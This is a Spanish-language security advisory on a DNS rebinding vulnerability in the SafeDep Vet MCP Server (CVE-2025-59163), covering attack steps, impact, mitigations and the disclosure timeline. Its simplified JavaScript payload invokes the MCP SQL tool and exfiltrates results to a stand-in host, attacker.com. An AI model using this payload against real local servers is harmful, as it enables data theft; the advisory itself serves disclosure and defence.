Autor: Evan Harris
Riesgo: Bajo (CVSS 2.1/10)
Componente afectado: SafeDep Vet MCP Server
ID de CVE: CVE-2025-59163
Versiones afectadas: < v1.12.5
Versiones corregidas: v1.12.5

Resumen

El SafeDep Vet MCP Server es vulnerable a ataques de DNS rebinding cuando se ejecuta con el transporte SSE. La vulnerabilidad se debe a la falta de validación de las cabeceras HTTP Host y Origin, lo que permite que sitios web maliciosos eludan las protecciones de la política del mismo origen y ejecuten invocaciones de herramientas no autorizadas contra instancias de Vet MCP.

Una vez que el DNS rebinding tiene éxito, un atacante puede establecer una sesión con el endpoint /sse, invocar las herramientas MCP habilitadas y exfiltrar el contenido de la base de datos SQLite de Vet del usuario a un servidor controlado por el atacante.

El equipo de SafeDep respondió con rapidez a esta divulgación y publicó en pocos días una versión corregida (v1.12.5) que implementa la validación de las cabeceras Host y Origin mediante una lista de permitidos.

Otras herramientas tratadas en este sitio fallan de la misma manera: El Neo4j MCP Cypher Server es vulnerable a la toma de control de la base de datos mediante DNS rebinding y El servidor MCP Verify de Kluster expone a los usuarios al agotamiento de créditos.

Detalles técnicos

La vulnerabilidad

Cuando el Vet MCP Server se ejecuta con el transporte SSE (--server-type sse), expone un endpoint HTTP que acepta conexiones desde cualquier origen. Al servidor le falta la validación de:

  • Cabecera HTTP Host - permite solicitudes que afirman provenir de cualquier dominio
  • Cabecera HTTP Origin - permite solicitudes de origen cruzado desde sitios web maliciosos

Esta falta de validación posibilita ataques de DNS rebinding, en los que:

  1. Un atacante controla un dominio con registros DNS de TTL muy bajo
  2. La víctima visita el sitio web del atacante (p. ej., attacker.com)
  3. El JavaScript del atacante se resuelve inicialmente en la IP del atacante
  4. Después de que el navegador de la víctima almacene en caché la conexión, el registro DNS se cambia a 127.0.0.1
  5. Las solicitudes posteriores desde attacker.com apuntan ahora al localhost de la víctima
  6. La política del mismo origen del navegador queda eludida porque el origen sigue siendo attacker.com

Configuración vulnerable

El ataque requiere las siguientes condiciones:

  • Se ejecuta un escaneo de Vet y los informes se guardan en una base de datos
  • El Vet MCP Server se ejecuta con el transporte SSE habilitado
  • El atacante atrae a la víctima a un sitio web controlado por él

Vector de ataque

El atacante aprovecha el DNS rebinding para:

  1. Establecer una conexión con http://127.0.0.1:9988/sse
  2. Obtener un ID de sesión MCP válido
  3. Inicializar una sesión MCP
  4. Invocar la herramienta vet_query_execute_sql_query con consultas SQL de lectura arbitrarias
  5. Recibir respuestas a través del flujo SSE
  6. Exfiltrar datos a un servidor controlado por el atacante

Escenario de ataque

Configuración de la víctima

Un investigador de seguridad o desarrollador:

  1. Instala Vet para el escaneo de vulnerabilidades en dependencias
  2. Ejecuta un escaneo: vet scan -D /path/to/project
  3. Inicia el servidor MCP con transporte SSE:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. El servidor se enlaza a 127.0.0.1:9988 de forma predeterminada

Explotación por parte del atacante

El atacante prepara la infraestructura de DNS rebinding:

  1. Configura un servidor DNS con registros comodín para un dominio (p. ej., rebinder.attacker.com)
  2. Configura el servidor DNS para que devuelva inicialmente la IP del atacante y luego reenlace a 127.0.0.1
  3. Aloja un sitio web malicioso con JavaScript que:
    • Detecta cuándo el DNS rebinding tiene éxito
    • Se conecta al endpoint SSE de Vet en http://127.0.0.1:9988/sse
    • Establece una sesión MCP
    • Invoca consultas SQL contra la base de datos de la víctima
    • Exfiltra los resultados

Flujo de explotación

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

La víctima solo necesita visitar el sitio web del atacante (p. ej., a través de un enlace en un correo de phishing, un anuncio comprometido o un issue malicioso de GitHub) mientras su Vet MCP Server esté en ejecución.

Evaluación del impacto

Violación de la confidencialidad

Impacto principal:

  • Acceso completo de lectura a la base de datos SQLite de escaneos de Vet a través de la herramienta vet_query_execute_sql_query
  • Exposición de información sobre vulnerabilidades de paquetes, incluyendo:
    • Nombres y versiones de los paquetes en uso
    • CVEs conocidos que afectan a las dependencias de la víctima
    • Puntuaciones de gravedad y detalles de las vulnerabilidades
    • Inteligencia sobre la cadena de suministro de software

Amplificación del riesgo:

  • Los atacantes obtienen inteligencia sobre paquetes vulnerables en el entorno de la víctima
  • Las dependencias y las versiones de los paquetes revelan detalles del stack tecnológico
  • Esta información puede utilizarse para diseñar exploits dirigidos

Requisitos del ataque

Factores que limitan la explotabilidad:

  • Se requiere interacción activa del usuario: La víctima debe visitar un sitio web malicioso
  • Ventana temporal: El Vet MCP Server debe estar ejecutándose activamente con transporte SSE
  • Requisito de configuración: La víctima debe haber iniciado el servidor explícitamente con --server-type sse (no el transporte stdio predeterminado)
  • Basado en navegador: El ataque requiere un navegador moderno con soporte de EventSource

Estos factores contribuyen a la clasificación de gravedad baja (CVSS 2.1/10) a pesar del potencial de exfiltración de datos.

Mitigaciones recomendadas

Para usuarios (inmediato)

  1. Actualice a la v1.12.5 o posterior:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Use el transporte stdio (predeterminado):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Aislamiento de red:
    • Ejecute el servidor MCP únicamente en redes de confianza
    • Utilice reglas de firewall para restringir el acceso al puerto 9988
    • Evite navegar por sitios web no confiables mientras el servidor esté en ejecución

Para desarrolladores

Implementado en la v1.12.5:

  • Validación de la cabecera Host mediante una lista de permitidos
  • Validación de la cabecera Origin para prevenir solicitudes de origen cruzado
  • Rechazo de solicitudes con cabeceras de seguridad no válidas o ausentes

Buenas prácticas para implementaciones de servidores MCP:

  • Valide siempre las cabeceras Host y Origin en los transportes basados en HTTP
  • Enlace de forma predeterminada solo a localhost (127.0.0.1) en lugar de 0.0.0.0
  • Prefiera el transporte stdio frente a los transportes basados en red cuando sea posible
  • Documente las implicaciones de seguridad de los distintos modos de transporte
  • Implemente políticas CORS estrictas

Cronología de la divulgación

  • 2025-08-30: Informe inicial de la vulnerabilidad enviado a SafeDep
  • 2025-09-01: SafeDep confirma la recepción del informe
  • 2025-09-02: SafeDep abre un pull request con un parche que implementa la validación de cabeceras
  • 2025-09-05: Se publica la versión corregida v1.12.5
  • 2025-09-29: Se publica el GitHub Security Advisory, con fecha de divulgación coordinada confirmada por ambas partes
  • 2025-10-06: Se publica el aviso técnico

Conclusión

La vulnerabilidad de DNS rebinding en el Vet MCP Server pone de manifiesto una consideración de seguridad importante para las implementaciones de MCP: los transportes basados en red requieren una validación cuidadosa de las cabeceras de seguridad HTTP para prevenir ataques de origen cruzado.

Aunque el ataque requiere condiciones específicas (servidor MCP activo con transporte SSE, víctima que visita un sitio web malicioso, ventana temporal), el potencial de exfiltración de datos justificó una divulgación y corrección responsables.

La respuesta de SafeDep ejemplifica prácticas de seguridad responsables:

  • Confirmación inmediata del informe
  • Desarrollo y publicación rápidos de un parche (5 días desde el informe hasta la publicación)
  • Divulgación coordinada a través de un GitHub Security Advisory
  • Comunicación clara durante todo el proceso

Todos los usuarios que ejecuten el Vet MCP Server con transporte SSE deben actualizar a la v1.12.5 de inmediato. Para la mayoría de los casos de uso, el transporte stdio predeterminado ofrece una alternativa más segura.

Referencias